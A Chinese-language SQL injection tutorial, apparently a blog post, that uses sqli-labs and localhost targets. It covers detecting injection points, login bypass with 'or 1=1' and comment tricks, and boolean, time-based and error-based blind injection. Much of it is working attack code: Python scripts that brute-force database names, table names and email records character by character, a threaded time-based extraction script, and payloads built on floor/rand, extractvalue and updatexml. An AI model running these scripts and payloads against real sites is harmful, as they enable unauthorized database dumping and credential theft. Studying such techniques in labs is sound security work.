sql 注入:
1.sql注入最重要的过程,单引号判断注入最常见。
分为三大类:get、post、cookie
简单判断get型:
http://host/test.php?id=100’ 返回错误说明有可能注入
http://host/test.php?id=100 and 1=1 返回正常
http://host/test.php?id=100 and 1=2返回错误
如果出现以上三种错误,基本盘判定为注入点
#盲注中只会回显错误或者正确,不会报错
2.判断注入类型
注入类型分为:数字型,字符型,搜索型,内联式,终止式。
数字型,传入参数为数字,回显错误正确来判断:
http://host/test.php?id=100 and 1=1 返回成功
http://host/test.php?id=100 and 1=2 返回失败
也就是说,后台sql语句查询判断传入参数为数字,不用闭合sql语句。
字符型,传入闭合字符,查询是否出错:
http://host/test.php?name=man' and '1'='1 返回成功
http://host/test.php?name=man' and '1'='2返回失败
这里比上面多了 ‘ 所以判断回显正确错误,说明后台查询语句查询的是字符串,进行sql注入的时候就需要传入闭合来进行。
搜索型,借用like语句进行搜索,like中**%**为通配符,由于进行了通配符的匹配无法进行正常的测试,依然是构造闭合条件来进行匹配:
SELECT * FROM news WHERE keyword like '%$keyword%'
这里的$keyword是用户的输入
当我们输入以下语句的时候
pt%' and 1=1 and '%'='
最终我们得到的语句是这样的
SELECT * FROM news WHERE keyword like '%pt%' and 1=1 and '%'='%'
这个语句又一次的闭合了
内联型,指的是进行查询的注入之后,原来的查询依然在进行,也就是说,虽然有错但是依然执行,需要注意的是,由于sql语句中使用了 AND 使得语句中错误一个返回的都为错误,常见的就是登陆页面,利用方法为构造 OR 1 = 1 来进行绕过,但是一定要注意逻辑先后顺序 SQL语句中AND运算优先级大于OR :
SELECT * FROM admin WHER username='$name' AND password ='$passwd'
这个时候我们想办法绕过AND,所以从password=’or 1 = 1,所谓的万能密码就是这种的绕过方式。
如果你从username输入,就会导致:
SELECT * FROM admin WHER username = '' or '1'='1' AND password = ''
此时先进行 '1' = '1' AND password = ''的判断,结果为 0
然后进行 username = '' or 0 由于username 不可能为空,所以此时为 0 or 0 为 0 最终显示错误,所以万能密码叫做万能密码,不叫万能账号。
终止型,可以进行输入注释符来进行后面语句的注释:
上面的题型,如果我们想要进行注入的话,我们需要注释掉后面的 password 就能成功:
输入:' or ''='' --
后台查询语句:SELECT * FROM admin WHER username='' or ''='' --' AND password ='fuzz'
只进行前两个语句,AND 后面不进行,导致返回为真
盲注:
盲注分为三个类型:
基于布尔的盲注
基于时间的盲注
基于报错的盲注
布尔类型盲注:
mysql 一些内置函数:
length()返回内容的字符串的长度
ascii() 返回字符的ascii码
substr(str,start,end) 截取字符串
三步走:
0x00:爆库
url and length(database())>0 #
// 最后的数字可以进行更换来确定库名的长度。
当确定了库名长度之后,利用python脚本来进行爆破。
import requests
def get_db_name():
result = ""
url_template = "url?id=2' and ascii(substr(database(),{0},1))>{1} %23"
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for i in range(1,9):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i,char_ascii)
response = requests.get(url)
length = len(response.text)
#根据返回长度的不同来判断字符正确与否
if length>706:
result += char
break
print(result)
0x01:爆表
url id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
依然是优先判断表的长度
当判读出表的长度的时候就可以使用python脚本继续跑
import requests
def get_table_name():
result = ""
url_template = "url ?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"#limit 内容的值限制了表的次序,例如第二张表名就切换为 1,2)
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for i in range(1,7):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i,char_ascii)
response = requests.get(url)
length = len(response.text)
#返回的长度只有706和722
if length>706:
result += char
break
print(result)
0x02:脱库
脱库之前先判断 emails 表中的记录数
url+?id=2' and (select count(*) from emails)>0 %23 #count函数用于查询表内的记录数
确定了表中的记录数之后我们进行下一步的脱库
url+id=2' and (select length(email_id) from emails limit 0,1)>15 %23
确定内容的长度。
py跑一下
def get_data():
result = ""
url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
chars = '[email protected]_abcdefghijklmnopqrstuvwxyz'
for i in range(1,17):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i,char_ascii)
response = requests.get(url)
length = len(response.text)
#返回的长度只有706和722
if length>706:
result += char
break
print(result)
另外就是使用sqlmap。
基于时间的盲注:
由于在进行数据库查询的时候线程跑的很快导致错误的搜索的运行时间为0,所以我们利用sleep函数
select sleep(N),name from animals where name = 'tigey'
如果查询错误,那么回显的运行时间就为0,利用这个特性加上上面的payload修改一下就能得到新的payload。基于时间的盲注应用方面很广泛,因为很多网站在你测试的时候只会回显一个错误,而不显示错误原因以及其他情况。
这里直接放一个大佬的脚本:
import urllib2
import time
import socket
import threading
import requests
class my_threading(threading.Thread):
def __init__(self, str,x):
threading.Thread.__init__(self)
self.str = str
self.x = x
def run(self):
global res
x=self.x
j = self.str
url = "http://localhost/pentest/1.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23"
html = request(url)
verify = 'timeout'
if verify not in html:
res[str(j)] = 0
#print 1
else:
res[str(j)] = 1
def request(URL):
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, None, user_agent)
try:
request = urllib2.urlopen(req,timeout=2)
except Exception ,e:
time.sleep(2)
return 'timeout'
return request.read()
def curl(url):
try:
start = time.clock()
requests.get(url)
end = time.clock()
return int(end)
except requests.RequestException as e:
print u"访问出错!"
exit()
def getLength():
i = 0
while True:
print "[+] Checking: %s \r" %i
url = "http://localhost/pentest/1.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23"
html = request(url)
verify = 'timeout'
if verify in html:
print u"[+] 数据长度为: %s" %i
return i
i = i + 1
def bin2dec(string_num):
return int(string_num, 2)
def getData(dataLength):
global res
data = ""
for x in range(dataLength):
x = x + 1
#print x
threads = []
for j in range(8):
result = ""
j = j + 1
sb = my_threading(j,x)
sb.setDaemon(True)
threads.append(sb)
#print j
for t in threads:
t.start()
for t in threads:
t.join()
#print res
tmp = ""
for i in range(8):
tmp = tmp + str(res[str(i+1)])
#print chr(bin2dec(tmp))
res = {}
result = chr(bin2dec(tmp))
print result
data = data + result
sb = None
print "[+] ok!"
print "[+] result:" + data
if __name__ == '__main__':
stop = False
res = {}
length = getLength()
getData(length)
基于报错的盲注:
输入特定的函数让数据库报错来显示出来数据库的版本号其他的等等。。
1.直接报错
' union select 1,count(*),concat('/',(select @@datadir),'/',floor(rand(0)*2))a from information_schema.columns group by a--+ --限制返回值不能超过一行,并且在获取多行的时候来用limit进行限制。
floor 函数使用来判断内容存在的最小整数值。
2.使用xpath函数进行 extractvalue函数,
select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))
在目标XML文件中查找/x/xx内容,如果查询错误额话就会回显正确的数据库的名称。并且我们可以使用 concat函数来将database()和 **/**连起来构成新的内容:
select username from serurity.user where id=1 and (extractvalue('anything',concat('\\','select database()')))
新的查询内容,由于=extractvalue函数只能传入“\” 所以我们故意构造错误的语句来进行报错。
select username from serurity.user where id=1 and (extractvalue('anything',concat('~','select database()')))
就会有错误的回显,会显示出正确的数据库名称。
3.使用updatexml()函数:
语法:updatexml(目标文件,xml路径,更新的内容)
使用方式基本相同:
id = 1 and (updatexml('anything','/xx/xx/xx','anything'))
使用报错方式也基本相同:利用concat 函数进行拼装
id = 1 and (updatexml('anything',concat('~',(select database()),'anything')))
以上的所有方法都是基于没有过滤,没有waf的情况下,如何绕过waf,防止过滤,下节再说,并且不需要这么麻烦,使用神器工具sqlmap找到注入点放进去sqlmap 梭哈一把就完事,下次讲绕过waf,在下次说一下sqlmap的详解。
To Be Continue…